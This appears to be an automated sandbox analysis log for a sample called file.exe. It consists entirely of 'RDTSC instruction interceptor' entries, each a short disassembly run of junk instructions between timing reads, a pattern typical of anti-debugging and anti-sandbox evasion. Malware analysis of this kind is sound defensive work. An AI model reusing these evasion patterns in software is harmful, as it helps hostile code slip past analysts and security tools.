Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721420 second address: 721472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 ja 00007F2BE511FAF2h 0x0000000c nop 0x0000000d mov cx, dx 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+12450977h], esi 0x00000018 call 00007F2BE511FAE9h 0x0000001d pushad 0x0000001e pushad 0x0000001f jg 00007F2BE511FAE6h 0x00000025 jmp 00007F2BE511FAECh 0x0000002a popad 0x0000002b push edx 0x0000002c jg 00007F2BE511FAE6h 0x00000032 pop edx 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721472 second address: 72147C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2BE511B126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72147C second address: 7214BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F2BE511FAF5h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jbe 00007F2BE511FAF0h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7215F5 second address: 721681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+122D1D25h], edi 0x00000010 push 00000000h 0x00000012 jmp 00007F2BE511B12Ah 0x00000017 push A4D4994Ah 0x0000001c jmp 00007F2BE511B138h 0x00000021 add dword ptr [esp], 5B2B6736h 0x00000028 push ebx 0x00000029 sub edi, dword ptr [ebp+122D392Ah] 0x0000002f pop esi 0x00000030 push 00000003h 0x00000032 mov dword ptr [ebp+122D1D33h], ecx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F2BE511B128h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 push 00000003h 0x00000056 jno 00007F2BE511B12Ch 0x0000005c push B137A1EEh 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721681 second address: 721693 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F2BE511FAE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721693 second address: 7216FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 0EC85E12h 0x00000011 mov dword ptr [ebp+122D244Eh], ecx 0x00000017 lea ebx, dword ptr [ebp+1245611Fh] 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F2BE511B128h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 xchg eax, ebx 0x00000038 jne 00007F2BE511B133h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jg 00007F2BE511B12Ch 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70010B second address: 70010F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FC6E second address: 73FC74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FDCA second address: 73FDD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FDD0 second address: 73FDD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FF17 second address: 73FF33 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2BE511FAECh 0x00000008 jp 00007F2BE511FAE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F2BE511FAE6h 0x00000016 jng 00007F2BE511FAE6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740342 second address: 740358 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007F2BE511B126h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F2BE511B126h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740752 second address: 740758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740758 second address: 74075E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74075E second address: 740774 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2BE511FAEAh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jng 00007F2BE511FAE6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740A55 second address: 740A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740CE5 second address: 740CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740E72 second address: 740E78 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740E78 second address: 740EC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F2BE511FAF8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F2BE511FAF6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jg 00007F2BE511FB12h 0x0000001c push eax 0x0000001d push edx 0x0000001e jnc 00007F2BE511FAE6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740EC0 second address: 740ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740ECA second address: 740EDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74150A second address: 741510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741510 second address: 741527 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F2BE511FAE8h 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741527 second address: 74154B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jbe 00007F2BE511B161h 0x0000000c jmp 00007F2BE511B132h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74154B second address: 74154F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741840 second address: 741848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741848 second address: 74184C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7419F6 second address: 7419FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744076 second address: 74407B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7110CA second address: 7110D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D1B6 second address: 74D1E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2BE511FAF0h 0x0000000b jmp 00007F2BE511FAEFh 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705102 second address: 70511B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2BE511B130h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C5B6 second address: 74C5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F2BE511FAE6h 0x00000010 jmp 00007F2BE511FAF5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C5DB second address: 74C60B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B134h 0x00000007 js 00007F2BE511B126h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F2BE511B132h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C769 second address: 74C777 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2BE511FAE8h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C777 second address: 74C781 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511B126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C781 second address: 74C79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F2BE511FAEDh 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C79C second address: 74C7B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F2BE511B132h 0x0000000a pop ecx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C905 second address: 74C90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CD6C second address: 74CDA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B136h 0x00000007 jmp 00007F2BE511B136h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F2BE511B128h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CDA4 second address: 74CDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511FAEFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CDB9 second address: 74CDBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CF03 second address: 74CF10 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CF10 second address: 74CF16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CF16 second address: 74CF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E507 second address: 74E50D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E50D second address: 74E512 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E5FD second address: 74E61C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B134h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E61C second address: 74E620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E620 second address: 74E626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E626 second address: 74E672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jne 00007F2BE511FAE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F2BE511FAF8h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a jmp 00007F2BE511FAEDh 0x0000001f push eax 0x00000020 js 00007F2BE511FAE6h 0x00000026 pop eax 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push esi 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E672 second address: 74E676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E97F second address: 74E99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511FAF7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EAB2 second address: 74EAC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ED9F second address: 74EDA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F24E second address: 74F254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F314 second address: 74F31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F3C5 second address: 74F3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F3CC second address: 74F3D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F65C second address: 74F664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F742 second address: 74F74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2BE511FAE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F74D second address: 74F752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F752 second address: 74F758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F8AE second address: 74F8BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F8BF second address: 74F8C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750759 second address: 750766 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511B126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7517E6 second address: 7517EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521D4 second address: 7521DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521DE second address: 7521E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752283 second address: 7522A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B134h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7522A1 second address: 7522A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752D54 second address: 752DB2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2BE511B13Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D2987h], eax 0x00000011 push 00000000h 0x00000013 add dword ptr [ebp+122D33E6h], eax 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F2BE511B128h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 mov di, 5B56h 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c push edi 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752DB2 second address: 752DC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F2BE511FB00h 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F2BE511FAE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75385E second address: 75386C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F2BE511B126h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755019 second address: 75501D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75501D second address: 75502E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F2BE511B126h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540C0 second address: 7540C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540C6 second address: 7540CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758A75 second address: 758A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540CA second address: 7540CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758A79 second address: 758A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540CE second address: 7540E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511B12Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755777 second address: 755783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758A7D second address: 758A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540E7 second address: 7540EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755783 second address: 75578C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540EB second address: 7540F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712B62 second address: 712B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712B66 second address: 712B9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF2h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F2BE511FAF8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712B9F second address: 712BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712BA7 second address: 712BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BCA9 second address: 75BCB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F2BE511B126h 0x0000000a rdtsc
